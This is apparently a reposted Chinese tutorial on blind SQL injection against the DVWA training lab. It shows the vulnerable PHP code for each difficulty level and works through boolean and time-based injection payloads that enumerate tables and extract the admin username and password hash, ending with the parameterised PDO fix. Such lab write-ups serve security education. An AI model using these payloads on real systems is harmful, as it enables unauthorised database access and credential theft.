SQL 盲注介绍:
盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。盲注分为三类:基于布尔SQL盲注、基于时间的SQL盲注、基于报错的SQL盲注。
盲注思路步骤:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
1、Low级别
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysql_numrows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } mysql_close(); } ?>
可以发现Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞
1.1、判断是否存在注入,注入类型
输入1,显示User ID exists in the database. (显示存在)
再输入 输入 1′ and 1=1 # ,输出 exists
继续输入 1′ and 1=2 #,显示missing。
User ID is MISSING from the database. (显示不存在)
说明存在字符型的盲注。
1.2、猜数据库名
1′ and length(database())=1 #
1′ and length(database())=2 #
1′ and length(database())=3 #
…
先猜数据库名长度,看到哪个数字显示User ID exists in the database,就说明数据库名长度为多少。
1′ and length(database())=1 #,显示不存在,继续
1′ and length(database())=2 #,显示不存在,继续
1′ and length(database())=3 #,显示不存在,继续
1′ and length(database())=4 #,显示存在,说明数据库名长度为4。
已知数据库名长度,继续猜解数据库名,这里会用到二分法,有点类似枚举法。
1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值)
同时附上ASCII 对应表:
ASCII 码 | 字符 | ASCII 码 | 字符 | ASCII 码 | 字符 | ASCII 码 | 字符 | |||||||
十进位 | 十六进位 | 十进位 | 十六进位 | 十进位 | 十六进位 | 十进位 | 十六进位 | |||||||
032 | 20 | 056 | 38 | 8 | 080 | 50 | P | 104 | 68 | h | ||||
033 | 21 | ! | 057 | 39 | 9 | 081 | 51 | Q | 105 | 69 | i | |||
034 | 22 | “ | 058 | 3A | : | 082 | 52 | R | 106 | 6A | j | |||
035 | 23 | # | 059 | 3B | ; | 083 | 53 | S | 107 | 6B | k | |||
036 | 24 | $ | 060 | 3C | < | 084 | 54 | T | 108 | 6C | l | |||
037 | 25 | % | 061 | 3D | = | 085 | 55 | U | 109 | 6D | m | |||
038 | 26 | & | 062 | 3E | > | 086 | 56 | V | 110 | 6E | n | |||
039 | 27 | ‘ | 063 | 3F | ? | 087 | 57 | W | 111 | 6F | o | |||
040 | 28 | ( | 064 | 40 | @ | 088 | 58 | X | 112 | 70 | p | |||
041 | 29 | ) | 065 | 41 | A | 089 | 59 | Y | 113 | 71 | q | |||
042 | 2A | * | 066 | 42 | B | 090 | 5A | Z | 114 | 72 | r | |||
043 | 2B | + | 067 | 43 | C | 091 | 5B | [ | 115 | 73 | s | |||
044 | 2C | , | 068 | 44 | D | 092 | 5C | \ | 116 | 74 | t | |||
045 | 2D | – | 069 | 45 | E | 093 | 5D | ] | 117 | 75 | u | |||
046 | 2E | . | 070 | 46 | F | 094 | 5E | ^ | 118 | 76 | v | |||
047 | 2F | / | 071 | 47 | G | 095 | 5F | _ | 119 | 77 | w | |||
048 | 30 | 0 | 072 | 48 | H | 096 | 60 | ` | 120 | 78 | x | |||
049 | 31 | 1 | 073 | 49 | I | 097 | 61 | a | 121 | 79 | y | |||
050 | 32 | 2 | 074 | 4A | J | 098 | 62 | b | 122 | 7A | z | |||
051 | 33 | 3 | 075 | 4B | K | 099 | 63 | c | 123 | 7B | { | |||
052 | 34 | 4 | 076 | 4C | L | 100 | 64 | d | 124 | 7C | | | |||
053 | 35 | 5 | 077 | 4D | M | 101 | 65 | e | 125 | 7D | } | |||
054 | 36 | 6 | 078 | 4E | N | 102 | 66 | f | 126 | 7E | ~ | |||
055 | 37 | 7 | 079 | 4F | O | 103 | 67 | g | 127 | 7F | DEL |
1’ and ascii(substr(databse(),1,1))<101 #,显示存在,说明数据库名的第一个字符的ascii值小于101(小写字母e的ascii值)
1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100,(小写字母d的ascii的值)
1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值大于100,(小写字母d的ascii的值)
由此推断数据库名称的第一个字母是d,同理推断下去,可知数据库名为dvwa。
1.3、猜解数据库中的表名
先猜表的数量
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 #
显示不存在,说明数据表的数量不为1
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=2 #
显示存在,说明存在两个表。
接着猜解表名长度
1′ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #,输出MISSING,显示不存在,说明长度值小于10
1′ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #,显示存在,那么说明这个长度值在5-10之间,继续往下猜解。
然后在5,6,7,8,9里挨个去试,我这里就不截图了
1′ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,那么说第一个表名长度为9。
然后利用二分法继续猜解第一张表的9个字母都是啥
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
直到—— 1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #,对应的字母为g。
同样的方法继续,分别得到其它的8个字母,为u、e、s、t、b、o、o、k,合起来为guestbook。
这是第一张表,第二张表也是如此
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>97 #
一直到猜解结束,可以得出第二张表名为users。
1.4、猜解表中的字段名
已知两张表,guestbook和users,我们直奔users表,信息重要。
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)>10 #
显示不存在,说明表中的字段数量小于10。
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)>5 #
那么说这个值在5-10之间,5,6,7,8,9挨个去试
最后
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 #
那说明users表存在8个字段信息。
【猜想】数据库中可能保存的字段名称
用户名:username/user_name/uname/u_name/user/name/…
密码:password/pass_word/pwd/pass/…
所以接下来我们要猜解账户和密码对应的字段是什么
1′ and (select count(*) from information_schema.columns where table_schema=database() and table_name=’users’ and column_name=’user’)=1 #,输出exists
1′ and (select count(*) from information_schema.columns where table_schema=database() and table_name=’users’ and column_name=’password’)=1 #,输出exists
所以证明了 users表中有 user和password。
1.5、猜表中的字段值
同样使用二分法来做,直接写最后一步了:
用户名的字段值:1′ and length(substr((select user from users limit 0,1),1))=5 #,输出exists
——说明user字段中第1个字段值的字符长度=5。
密码的字段值:1′ and length(substr((select password from users limit 0,1),1))=32 #,
——说明password字段中第1个字段值的字符长度=32(基本上这么长的密码位数可能是用md5的加密方式保存的)
然后再使用二分法猜解user字段的值:(用户名)
1′ and ascii(substr((select user from users limit 0,1),1,1))=97 #(第一个字符)
第一个字符是a
1′ and ascii(substr((select user from users limit 0,1),2,1))=100 #(第二个字符)
第一个字符是d
… …
最终得到结果是admin。
猜解password字段的值:(密码)
1′ and ascii(substr((select password from users limit 0,1),1,1))>100 #(第一个字符)
… …
最后得到的是32位长的md5加密的字符串,解密就可以得到密码password。
2、medium级别
<?php
if( isset( $_POST[ ‘Submit’ ] ) ) {
// Get input
$id = $_POST[ ‘id’ ];
$id = mysql_real_escape_string( $id );// Check database
$getid = “SELECT first_name, last_name FROM users WHERE user_id = $id;”;
$result = mysql_query( $getid ); // Removed ‘or die’ to suppress mysql errors// Get results
$num = @mysql_numrows( $result ); // The ‘@’ character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo ‘<pre>User ID exists in the database.</pre>’;
}
else {
// Feedback for end user
echo ‘<pre>User ID is MISSING from the database.</pre>’;
}//mysql_close();
}?>
Medium级别的代码利用mysql_real_escape_string函数对特殊符号进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
这一幕是否似曾相识,其实sql注入的medium级别也是这样的,原理基本相同,攻击思路也一样,利用burpsuite工具。
只不过,这次不采用布尔盲注法,采用延时盲注法,但都是二分法进行猜测。
前面的步骤都一样
1 and if(length(database())=1,sleep(5),1) #
修改id值,放过
1 and if(length(database())=4,sleep(5),1) #
修改id,放过
明显返回信息时,有延迟,那么说明说明数据库名的长度为4个字符。再就是继续猜解数据库名,原理都一样。详细过程就不截图了,猜解次数有点多。后面就直接说重要过程。
id=1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #明显延迟,说明数据中的第一个表名长度为9个字符。同理猜解出两个数据表guestbook和users。
id=1 and if((select count(column_name) from information_schema.columns where table_name=0x7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。
这段payload中0x7573657273 表示的是16进制码,解码为users。
后面的也一样,然后一步一步的猜解出用户名和密码。
3、High级别
<?php
if( isset( $_COOKIE[ ‘id’ ] ) ) {
// Get input
$id = $_COOKIE[ ‘id’ ];// Check database
$getid = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’ LIMIT 1;”;
$result = mysql_query( $getid ); // Removed ‘or die’ to suppress mysql errors// Get results
$num = @mysql_numrows( $result ); // The ‘@’ character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo ‘<pre>User ID exists in the database.</pre>’;
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}// User wasn’t found, so the page wasn’t!
header( $_SERVER[ ‘SERVER_PROTOCOL’ ] . ‘ 404 Not Found’ );// Feedback for end user
echo ‘<pre>User ID is MISSING from the database.</pre>’;
}mysql_close();
}?>
可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。真的跟前面的sql注入一样的套路啊,记得利用#进行注释。
1’ and length(database())=4 #
显示存在,说明数据库名的长度为4个字符。
1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
显示存在,说明数据中的第一个表名长度为9个字符。
1’ and (select count(column_name) from information_schema.columns where table_name=0x7573657273)=8 #
显示存在,说明uers表有8个字段。
4、Impossible级别
<?php
if( isset( $_GET[ ‘Submit’ ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ ‘user_token’ ], $_SESSION[ ‘session_token’ ], ‘index.php’ );// Get input
$id = $_GET[ ‘id’ ];// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( ‘SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;’ );
$data->bindParam( ‘:id’, $id, PDO::PARAM_INT );
$data->execute();// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo ‘<pre>User ID exists in the database.</pre>’;
}
else {
// User wasn’t found, so the page wasn’t!
header( $_SERVER[ ‘SERVER_PROTOCOL’ ] . ‘ 404 Not Found’ );// Feedback for end user
echo ‘<pre>User ID is MISSING from the database.</pre>’;
}
}
}// Generate Anti-CSRF token
generateSessionToken();?>
Impossible级别的代码采用了PDO技术,大大提高了安全性,基本无法进行绕过注入了。
什么叫PDO技术,见下文连接
https://blog.51cto.com/12332766/2137035
总结
sql盲注比sql注入要难一点,但其实攻击思路都差不多,需要多练习多操作,一定要会二分法,并且熟悉它。
来源:freebuf.com 2020-11-01 21:06:34 by: fu福lin林
请登录后发表评论
注册